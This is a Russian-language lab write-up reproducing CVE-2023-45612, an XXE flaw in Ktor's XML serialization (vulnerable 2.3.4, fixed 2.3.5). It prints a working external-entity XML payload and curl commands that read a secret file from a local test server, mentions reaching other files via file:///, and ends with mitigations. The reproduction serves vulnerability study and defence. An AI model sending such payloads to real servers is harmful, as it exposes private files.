
Воспроизведение проблемы безопасности высокой степени серьёзности, которая позволяет проводить атаки XXE (XML eXternal Entity) на XML-сериализацию Ktor.
CVE-2023-45612 — это проблема безопасности высокой степени серьёзности, которая позволяет проводить XXE-атаки (XML eXternal Entity) на XML-сериализацию Ktor; она была исправлена в 2023 году.
Ниже приведён подробный способ, которым я воспроизвёл проблему.
Сначала нам нужен сервер, который будет обрабатывать XML-файлы. Мы создаём проект Kotlin в IntelliJ IDEA и изменяем build.gradle.kts, чтобы использовать нужные зависимости Ktor и плагин сериализации. Интересующая нас зависимость — io.ktor:ktor-serialization-kotlinx-xml. Версия 2.3.4 является уязвимой, а версия 2.3.5 — исправленной.
Затем мы добавляем в корень проекта файл с именем sensitive_infos.txt, который должен быть приватным и недоступным извне сервера. Содержимое этого файла: "Эта информация должна быть секретной и недоступной при отправке .xmf файла."
Затем мы реализуем сервер в Main.kt. Он предназначен для обработки XML, отправленного клиентом, путём сериализации его в строку (name) класса Person. Затем сервер отвечает подтверждением имени, которое только что отправил клиент. После запуска сервера можно попробовать обычное и вредоносное применение:
Клиент отправляет XML-файл со своим именем и получает подтверждение с именем, которое он только что отправил. Мы можем проверить это с помощью следующего XML-файла:
<?xml version="1.0" encoding="UTF-8"?>
<manifest xmlns="http://example.com/">
<name>Clément</name>
</manifest>
и команды:
curl -X POST http://localhost:8080/process -H "Content-Type: application/xml" -d @data.xml
Клиент определяет сущность, задавая подставляемую строку в виде URI, и отправляет вредоносный XML-файл, после чего получает содержимое секретного файла, доступного серверу. Ниже я показываю пример с файлом (sensitive_infos.txt), находящимся в корне сервера, но учтите, что вы также, возможно, сможете получить доступ к другим файлам (если XML-парсер может получить их содержимое), например, с помощью file:///, если сервер работает на Linux.
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE test [
<!ENTITY exploit SYSTEM "sensitive_infos.txt">
]>
<manifest xmlns="http://example.com/">
<name>&exploit;</name>
</manifest>
и команды:
curl -X POST http://localhost:8080/process -H "Content-Type: application/xml" -d @xxe.xml
Сервер отвечает: "Имя отправлено: Эта информация должна быть секретной и недоступной при отправке .xmf файла.", что доказывает, что мы действительно получили доступ к секретной информации и, следовательно, уязвимость существует.
Кстати, замена версии с 2.3.4 на 2.3.5 в build.gradle.kts решает проблему: сервер отвечает только "Имя отправлено" на вредоносный ввод, сохраняя при этом нормальный ответ на обычный ввод, что подтверждает нам, что проблема безопасности была устранена в 2.3.5.
Никогда не доверяйте пользователю! Парсер Ktor мог бы очищать входные данные, например, отбрасывая все XML-файлы, содержащие сущность.
Менее ограничивающий для пользователя вариант: Ktor мог бы отключать внешние сущности по умолчанию, устанавливая параметры external-general-entities и external-parameter-entities в false, чтобы пользователь по-прежнему мог объявлять сущность в своём XML-файле, но эта сущность больше не может обращаться к каким-либо внешним ресурсам.
Включите тесты на XXE-атаки в CI/CD Ktor, чтобы быть уверенными, что код не уязвим к ним.